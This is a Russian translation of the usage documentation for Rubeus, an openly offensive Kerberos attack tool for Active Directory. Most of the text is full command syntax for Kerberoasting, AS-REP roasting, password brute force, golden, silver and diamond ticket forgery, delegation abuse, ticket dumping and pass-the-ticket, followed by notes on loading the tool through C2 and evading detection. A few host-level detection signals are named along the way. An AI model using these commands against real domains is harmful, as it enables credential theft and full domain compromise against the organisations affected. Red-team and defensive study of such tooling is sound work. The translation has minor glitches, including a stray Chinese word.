C#-инструмент для атак на Kerberos в среде Active Directory: AS-REP Roasting, Kerberoasting, Pass-the-Ticket, Overpass-the-Hash, Golden/Silver Ticket, S4U delegation, PKINIT. Часть арсенала GhostPack.
# Сборка из исходников (Visual Studio / .NET): git clone https://github.com/GhostPack/Rubeus # Открыть Rubeus.sln, собрать Release x64 # Часто загружается через C2 в память: # execute-assembly Rubeus.exe kerberoast /outfile:hashes.txt # Команды: Rubeus.exe kerberoast # Kerberoasting Rubeus.exe asreproast # AS-REP Roasting Rubeus.exe dump # дамп тикетов Rubeus.exe ptt /ticket:... # Pass-the-Ticket
Rubeus — это набор инструментов на C# для прямого взаимодействия со службой Kerberos и её злоупотреблений. Он сильно адаптирован из проекта Benjamin Delpy Kekeo (лицензия CC BY-NC-SA 4.0) и проекта Vincent LE TOUX MakeMeEnterpriseAdmin (лицензия GPL v3.0). Вся заслуга за создание сложных компонентов для оружейного применения принадлежит Бенджамину и Винсенту — без их предыдущей работы этот проект не существовал бы.
Charlie Clark и Ceri Coburn оба внесли значительный вклад в кодовую базу Rubeus как со-разработчики. Elad Shamir внёс некоторую важную работу для управляемой делегации на основе ресурсов. Их работа очень ценится!
Rubeus также использует библиотеку парсинга/кодирования ASN.1 на C# от Thomas Pornin, названную DDer, выпущенную под лицензией "аналогичной MIT". Огромная благодарность Томасу за его чистый и стабильный код!
Код PKINIT сильно адаптирован из инструмента Bruce от @SteveSyfuhs. Bruce значительно упростил понимание RFC4556 (PKINIT). Огромная благодарность Стиву!
Кодирование и декодирование NDR для PAC Kerberos основано на библиотеке NtApiDotNet от @tiraniddo, спасибо, Джеймс.
Метод KerberosRequestorSecurityToken.GetRequest для Kerberoasting был внесён в PowerView (а затем инкорпорирован в Rubeus) пользователем @machosec.
@harmj0y является основным автором этой кодовой базы.
Rubeus лицензирован по лицензии BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Запросы и обновления билетов:
Получить TGT на основе пароля/хеша пользователя, опционально сохранив его в файл или применив к текущей сессии входа или указанному LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT на основе пароля/хеша пользователя, опционально сохранив его в файл или применив к текущей сессии входа или указанному LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT на основе пароля/хеша пользователя, запустить процесс /netonly и применить билет к новому процессу/сессии входа:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT, используя сертификат PKCS12, запустить процесс /netonly и применить билет к новому процессу/сессии входа:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить TGT, используя сертификат из хранилища пользователей (Смарт-карта), указав отпечаток или субъект сертификата, запустить процесс /netonly и применить билет к новому процессу/сессии входа:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Получить TGT, подходящий для смены учётной записи с истёкшим сроком действия пароля, используя команду changepw:
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Запросить TGT без отправки данных предварительной аутентификации:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Запросить билет сервиса, используя AS-REQ:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Получить билет сервиса для одного или нескольких SPN, опционально сохранив или применив билет:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Получить билет сервиса, используя параметры запроса ключевого списка Kerberos:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Получить билет делегированной управляемой учётной записи сервиса:
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Обновить TGT, при необходимости применяя билет, сохраняя его или автоматически обновляя билет до предела renew-till:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Выполнить атаку перебора паролей на основе Kerberos:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Выполнить сканирование на наличие учётных записей, не требующих предварительной аутентификации:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Злоупотребление ограниченной делегацией:
Выполнить злоупотребление ограниченной делегацией S4U:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Выполнить злоупотребление ограниченной делегацией S4U между доменами:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Подделка билетов:
Подделать золотой (golden) билет, используя LDAP для сбора необходимой информации:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
Подделать золотой (golden) билет, используя LDAP для сбора необходимой информации, но с явным перекрытием некоторых значений:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Подделать золотой (golden) билет, явно задавая значения:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Подделать серебряный (silver) билет, используя LDAP для сбора необходимой информации:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Подделать серебряный (silver) билет, используя LDAP для сбора необходимой информации, с использованием ключа KRBTGT для вычисления KDCChecksum и TicketChecksum:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Подделать серебряный (silver) билет, используя LDAP для сбора необходимой информации, но с явным перекрытием некоторых значений:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Подделать серебряный (silver) билет, используя LDAP для сбора необходимой информации и включая секцию PAC S4U Delegation Info:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
Подделать серебряный (silver) билет, используя LDAP для сбора необходимой информации и задавая другое имя клиента (cname) и realm клиента (crealm):
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
Подделать серебряный (silver) билет, явно задавая значения:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Подделать алмазный (diamond) TGT, запрашивая TGT на основе пароля/хеша пользователя:
Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Подделать алмазный (diamond) TGT, запрашивая TGT с использованием PKCS12-сертификата:
Rubeus.exe diamond /user:ПОЛЬЗОВАТЕЛЬ /certificate:C:\temp\leaked.pfx </password:ПАРОЛЬ_ХРАНИЛИЩА> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/outfile:ИМЯ_ФАЙЛА] [/ptt] [/luid] [/nowrap] [/krbkey:ХЕШ] [/ticketuser:ИМЯ_ПОЛЬЗОВАТЕЛЯ] [/ticketuserid:ID_ПОЛЬЗОВАТЕЛЯ] [/groups:ID_ГРУПП] [/sids:ДОПОЛНИТЕЛЬНЫЕ_SIDS]
Подделать diamond TGT, запросив TGT с помощью tgtdeleg:
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:ИМЯ_ФАЙЛА] [/ptt] [/luid] [/nowrap] [/krbkey:ХЕШ] [/ticketuser:ИМЯ_ПОЛЬЗОВАТЕЛЯ] [/ticketuserid:ID_ПОЛЬЗОВАТЕЛЯ] [/groups:ID_ГРУПП] [/sids:ДОПОЛНИТЕЛЬНЫЕ_SIDS]
Управление билетами:
Отправить TGT, опционально указав целевой LUID (если повышены привилегии):
Rubeus.exe ptt </ticket:BASE64 | /ticket:ФАЙЛ.KIRBI> [/luid:LOGINID]
Очистить билеты от текущей сессии входа, опционально указав целевой LUID (если повышены привилегии):
Rubeus.exe purge [/luid:LOGINID]
Разобрать и описать билет (билет службы или TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:ФАЙЛ.KIRBI> [/servicekey:ХЕШ] [/krbkey:ХЕШ] [/asrepkey:ХЕШ] [/serviceuser:ИМЯ_ПОЛЬЗОВАТЕЛЯ] [/servicedomain:ДОМЕН] [/desplaintext:ТЕКСТ_ПЕРВОГО_БЛОКА]
Извлечение и сбор билетов:
Провести сортировку всех текущих билетов (если повышены привилегии, перечислить для всех пользователей), опционально указав целевой LUID, имя пользователя или службу:
Rubeus.exe triage [/luid:LOGINID] [/user:ПОЛЬЗОВАТЕЛЬ] [/service:krbtgt] [/server:БЛАГ.DOMAIN.COM]
Перечислить все текущие билеты подробно (если повышены привилегии, перечислить для всех пользователей), опционально указав целевой LUID:
Rubeus.exe klist [/luid:LOGINID] [/user:ПОЛЬЗОВАТЕЛЬ] [/service:krbtgt] [/server:БЛАГ.DOMAIN.COM]
Выгрузить все данные текущих билетов (если повышены привилегии, выгрузить для всех пользователей), опционально указав целевую службу/LUID:
Rubeus.exe dump [/luid:LOGINID] [/user:ПОЛЬЗОВАТЕЛЬ] [/service:krbtgt] [/server:БЛАГ.DOMAIN.COM] [/nowrap]
Получить пригодный для использования TGT .kirbi для текущего пользователя (с ключом сессии) без повышения привилегий, используя Kerberos GSS-API и имитируя делегирование:
Rubeus.exe tgtdeleg [/target:SPN]
Мониторить каждые /interval СЕКУНД (по умолчанию 60) на наличие новых TGT:
Rubeus.exe monitor [/interval:СЕКУНДЫ] [/targetuser:ПОЛЬЗОВАТЕЛЬ] [/nowrap] [/registry:ИМЯ_ПРОГРАММЫ] [/runfor:СЕКУНДЫ]
Мониторить каждые /monitorinterval СЕКУНД (по умолчанию 60) на наличие новых TGT, автоматически обновлять TGT и отображать рабочий кэш каждые /displayinterval СЕКУНД (по умолчанию 1200):
Rubeus.exe harvest [/monitorinterval:СЕКУНДЫ] [/displayinterval:СЕКУНДЫ] [/targetuser:ПОЛЬЗОВАТЕЛЬ] [/nowrap] [/registry:ИМЯ_ПРОГРАММЫ] [/runfor:СЕКУНДЫ]
Roasting (получение хешей):
Выполнить Kerberoasting:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Выполнить Kerberoasting, выводя хеши в файл:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps]
Выполнить Kerberoasting, выводя хеши в формате файла, но в консоль:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Выполнить Kerberoasting с альтернативными учетными данными:
Rubeus.exe kerberoast /creduser:ДОМЕН.FQDN\ПОЛЬЗОВАТЕЛЬ /credpassword:ПАРОЛЬ [/spn:"blah/blah"] [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Выполнить Kerberoasting с существующим TGT:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:ФАЙЛ.KIRBI> [/nowrap]
Выполнить Kerberoasting с существующим TGT, используя enterprise-принципал:
Rubeus.exe kerberoast </spn:user@domain.com | /spns:user1@domain.com,user2@domain.com> /enterprise </ticket:BASE64 | /ticket:ФАЙЛ.KIRBI> [/nowrap]
Выполнить Kerberoasting с существующим TGT и автоматически повторить с enterprise-принципалом при任何 неудаче:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:ФАЙЛ.KIRBI> /autoenterprise [/ldaps] [/nowrap]
Выполнить Kerberoasting, используя билет tgtdeleg для запроса билетов служб - запрашивает RC4 для аккаунтов AES:
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
Выполнить "безопасный" Kerberoasting, используя tgtdeleg и отфильтровывая аккаунты с AES:
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
Перечислить статистику об найденных аккаунтах для Kerberoasting без отправки запросов билетов:
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
Выполнить Kerberoasting, запрашивая билеты только для аккаунтов с admin count = 1 (пользовательский LDAP-фильтр):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
Выполнить Kerberoasting, запрашивая билеты только для аккаунтов, у которых пароль был последний раз установлен между 01-31-2005 и 03-29-2010, возвращая до 5 билетов служб:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
Выполнить Kerberoasting с задержкой 5000 миллисекунд и джиттером 30%:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
Выполнить AES Kerberoasting:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
Выполнить Kerberoasting, используя аккаунт без предварительной проверки подлинности, отправляя AS-REQ:
Rubeus.exe kerberoast </spn:""blah/blah"" | /spns:C:\temp\spns.txt> /nopreauth:ПОЛЬЗОВАТЕЛЬ /domain:ДОМЕН [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/nowrap]
Выполнить "roasting" AS-REP для любых пользователей без предварительной проверки подлинности:
Rubeus.exe asreproast [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]
Выполнить "roasting" AS-REP для любых пользователей без предварительной проверки подлинности, выводя формат Hashcat в файл:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU=,..."] [/ldaps] [/des]
Выполнить "roasting" AS-REP для любых пользователей без предварительной проверки подлинности, используя альтернативные учетные данные:
Rubeus.exe asreproast /creduser:ДОМЕН.FQDN\ПОЛЬЗОВАТЕЛЬ /credpassword:ПАРОЛЬ [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН] [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]
Разное:
Создать скрытую программу (если не передан /show) со случайными /netonly учетными данными, отображая PID и LUID:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:ФАЙЛ.KIRBI]
Сбросить пароль пользователя из предоставленного TGT (AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:ФАЙЛ.KIRBI> /new:ПАРОЛЬ [/dc:КОНТРОЛЛЕР_ДОМЕНА] [/targetuser:ДОМЕН\ИМЯ_ПОЛЬЗОВАТЕЛЯ]
Рассчитать хеши rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1 и des_cbc_md5:
Rubeus.exe hash /password:X [/user:ПОЛЬЗОВАТЕЛЬ] [/domain:ДОМЕН]
Подставить sname или SPN в существующий билет службы:
Rubeus.exe tgssub </ticket:BASE64 | /ticket:ФАЙЛ.KIRBI> /altservice:ldap [/srealm:ДОМЕН] [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:ФАЙЛ.KIRBI> /altservice:cifs/computer.domain.com [/srealm:ДОМЕН] [/ptt] [/luid] [/nowrap]
Отобразить LUID текущего пользователя:
Rubeus.exe currentluid
Отобразить информацию о (текущей) или (целевой) сессии входа, по умолчанию все читаемое:
Rubeus.exe logonsession [/current] [/luid:X]
Аргумент "/consoleoutfile:C:\FILE.txt" перенаправляет весь вывод консоли в указанный файл.
Флаг "/nowrap" предотвращает перенос столбцов для любых блоков данных билетов в формате base64 в любой функции.
Флаг "/debug" выводит отладочную информацию ASN.1.
Конвертировать AS-REP и ключ в Kirbi:
Rubeus.exe asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]
Вставить новый ключ сессии DES в Kirbi:
Rubeus.exe kirbi /kirbi:<BASE64 | FILEPATH> /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:ИМЯ_ФАЙЛА] [/nowrap]
ПРИМЕЧАНИЕ: Блоки данных билетов в формате base64 могут быть декодированы с помощью :
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
Этот раздел содержит некоторые заметки об operational security при использовании Rubeus в среде, с некоторыми техническими примерами, сравнивающими/противопоставляющими некоторые из его подходов Mimikatz. Материал здесь будет расширен в будущем.
Любое действие, которое вы выполняете в системе, представляет собой обнаруживаемый риск, особенно когда функционал используется «странным»/неспособным образом. Rubeus (как и любой набор инструментов злоумышленника) может быть обнаруечен множеством методов: как с хоста, сети, так и с точки зрения домена. У меня есть коллега, который любит говорить «всё остаётся незаметным, пока кто-то не ищет это» — инструменты и техники обычно уклоняются от обнаружения, потому что: а) люди недостаточно осведомлены об инструменте/технике и, следовательно, даже не ищут их; б) люди не могут собирать и обрабатывать необходимые данные в нужном масштабе; или в) инструмент/техника вписываются в существующее поведение, что позволяет достаточно успешно вкрадываться, создавая ложноположительные срабатывания в среде. Гораздо больше информации об этих шагах и в целом об уклонении от обнаружения можно найти в докладе Matt Graeber и Lee Christensen на Black Hat USA 2018 «Subverting Sysmon» и в связанном документе.
С точки зрения хоста, Rubeus может быть обнаружен на этапе первоначальной оружизации самого кода (например, аномальным процессом (не lsass.exe), выпускающим необработанный трафик Kerberos на порт 88), путём использования таких чувствительных API, как LsaCallAuthenticationPackage(), или из-за присутствия аномальных билетов на хосте (например, использование rc4_hmac в билетах в современной среде).
